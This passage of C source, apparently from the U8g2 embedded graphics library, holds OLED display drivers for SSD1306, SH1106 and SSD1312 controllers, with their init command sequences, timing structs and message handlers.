u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_128x32_univision_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1306_128x32_univision(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_univision_display_info); return 1; } return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr); } /*=============================================*/ /* issue 756 */ #define ADDR_MODE 0 //0:horizontal, 1:vertical, 2:page static const u8x8_display_info_t u8x8_ssd1306_128x32_winstar_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 125, /* flipmode_x_offset = */ 125, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_ssd1306_128x32_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_winstar_display_info); return 1; } return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr); } /*=============================================*/ /* visionox 132x32 OLED, https://github.com/olikraus/u8g2/issues/1250 */ static const uint8_t u8x8_d_sh1106_128x32_visionox_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE), U8X8_CA(0xD5, 0x91), U8X8_CA(0xA8, 0x1F), U8X8_CA(0xD3, 0x10), U8X8_C(0x40), U8X8_CA(0xAD, 0x8B), U8X8_C(0x33), U8X8_C(0xA1), U8X8_C(0xC8), U8X8_CA(0xDA, 0x12), U8X8_CA(0x81, 0xAF), U8X8_CA(0xD9, 0x1F), U8X8_CA(0xDB, 0x25), U8X8_C(0xA4), U8X8_C(0xA6), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_d_sh1106_128x32_visionox_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 4, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 2, /* pixel_width = */ 128, /* pixel_height = */ 32 }; uint8_t u8x8_d_sh1106_128x32_visionox(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_d_sh1106_128x32_visionox_display_info); return 1; } if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_128x32_visionox_init_seq); } return u8x8_d_ssd1306_128x32_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_128x64_noname.c ================================================ /* u8x8_d_ssd1306_128x64_noname.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* more or less generic setup of all these small OLEDs */ static const uint8_t u8x8_d_ssd1306_128x64_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* this setup maximizes the brightness range, that can be set with setContrast() */ /* Drawback: VCOMH deselect level is set to 0, which das not work so good with all OLEDs, issue #116 */ static const uint8_t u8x8_d_ssd1306_128x64_vcomh0_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0ef), /* [2] set contrast control, */ U8X8_CA(0x0d9, 0x0a1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x000), /* vcomh deselect level 0x000 .. 0x070, low nibble always 0 */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* same as u8x8_d_ssd1306_128x64_noname_init_seq, but 0x0da bit 4 is set to 0 */ /* this will disable the alternative COM configuration */ static const uint8_t u8x8_d_ssd1306_128x64_alt0_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ // Flipmode // U8X8_C(0x0a0), /* segment remap a0/a1*/ // U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x002), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* issue 316: a special sh1106 setup, https://www.mikrocontroller.net/topic/431371?goto=5087807#5087807 */ static const uint8_t u8x8_d_sh1106_128x64_winstar_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xae), // Display OFF/ON: off (POR = 0xae) U8X8_C(0xa4), // Set Entire Display OFF/ON: off (POR = 0xa4) U8X8_CA(0xd5, 0x50), // Divide Ratio/Oscillator FrequencyData Set: divide ratio = 1 (POR = 1), Oscillator Frequency = +/- 0% (POR = +/- 0%) U8X8_CA(0xa8, 0x3f), // Multiplex Ratio Data Set: 64 (POR = 0x3f, 64) U8X8_CA(0xd3, 0x00), // Display OffsetData Set: 0 (POR = 0x00) U8X8_C(0x40), // Set Display Start Line: 0 U8X8_CA(0xad, 0x8b), // DC-DC ON/OFF Mode Set: Built-in DC-DC is used, Normal Display (POR = 0x8b) U8X8_CA(0xd9, 0x22), // Dis-charge/Pre-charge PeriodData Set: pre-charge 2 DCLKs, dis-charge 2 DCLKs (POR = 0x22, pre-charge 2 DCLKs, dis-charge 2 DCLKs) U8X8_CA(0xdb, 0x35), // VCOM Deselect LevelData Set: 0,770V (POR = 0x35, 0,770 V) U8X8_C(0x32), // Set Pump voltage value: 8,0 V (POR = 0x32, 8,0 V) U8X8_CA(0x81, 0xff), // Contrast Data Register Set: 255 (large) (POR = 0x80) U8X8_C(0x0a6), // Set Normal/Reverse Display: normal (POR = 0xa6) U8X8_CA(0x0da, 0x012), // com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1312_128x64_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0d5, 0x080), /* clock divide ratio (0x00=1) and oscillator frequency (0x8) */ U8X8_CA(0x0a8, 0x03f), /* multiplex ratio */ U8X8_CA(0x0d3, 0x000), /* display offset */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_CA(0x08d, 0x014), /* [2] charge pump setting (p62): 0x014 enable, 0x010 disable, SSD1306 only, should be removed for SH1106 */ U8X8_CA(0x020, 0x000), /* horizontal addressing mode */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_CA(0x0da, 0x012), /* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */ U8X8_CA(0x081, 0x0cf), /* [2] set contrast control */ U8X8_CA(0x0d9, 0x0f1), /* [2] pre-charge period 0x022/f1*/ U8X8_CA(0x0db, 0x040), /* vcomh deselect level */ // if vcomh is 0, then this will give the biggest range for contrast control issue #98 // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116 U8X8_C(0x02e), /* Deactivate scroll */ U8X8_C(0x0a4), /* output ram to display */ U8X8_C(0x0a6), /* none inverted normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x64_noname_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x64_noname_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x64_noname_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1306_128x64_noname_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1312_128x64_noname_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1312_128x64_noname_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1306_sh1106_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1306 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x040 ); /* set line offset to 0 */ u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendArg(u8x8, 0x000 | ((x&15))); /* probably wrong, should be SendCmd */ u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ /* do { u8x8_cad_SendData(u8x8, 8, ptr); ptr += 8; c--; } while( c > 0 ); */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1306_128x64_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_ssd1306_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info); break; default: return 0; } return 1; } uint8_t u8x8_d_ssd1312_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1312_128x64_noname_init_seq); /* update 27 mar 2022 */ break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info); break; default: if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; } return 1; } uint8_t u8x8_d_ssd1306_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_vcomh0_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info); break; default: return 0; } return 1; } uint8_t u8x8_d_ssd1306_128x64_alt0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_alt0_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x64_noname_display_info); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_sh1106_128x64_noname_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* SSD1306: 3 us */ /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */ /* sda_setup_time_ns = */ 50, /* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */ /* sck_pulse_width_ns = */ 50, /* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215) */ /* spi_mode = */ 0, /* issue 1901: changed mode from 3 to 0 */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* SSD1306: cycle time is 300ns, so use 300/2 = 150 */ /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 2, /* flipmode_x_offset = */ 2, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_sh1106_128x64_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); /* maybe use a better init sequence */ /* https://www.mikrocontroller.net/topic/431371 */ /* the new sequence is added in the winstar constructor (see below), this is kept untouched */ u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_noname_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info); break; default: return 0; } return 1; } uint8_t u8x8_d_sh1106_128x64_vcomh0(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x64_vcomh0_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info); break; default: return 0; } return 1; } uint8_t u8x8_d_sh1106_128x64_winstar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_ssd1306_sh1106_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sh1106_128x64_winstar_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1106_128x64_noname_display_info); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_2040x16.c ================================================ /* u8x8_d_ssd1306_2040x16.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" /* virtual device, issue 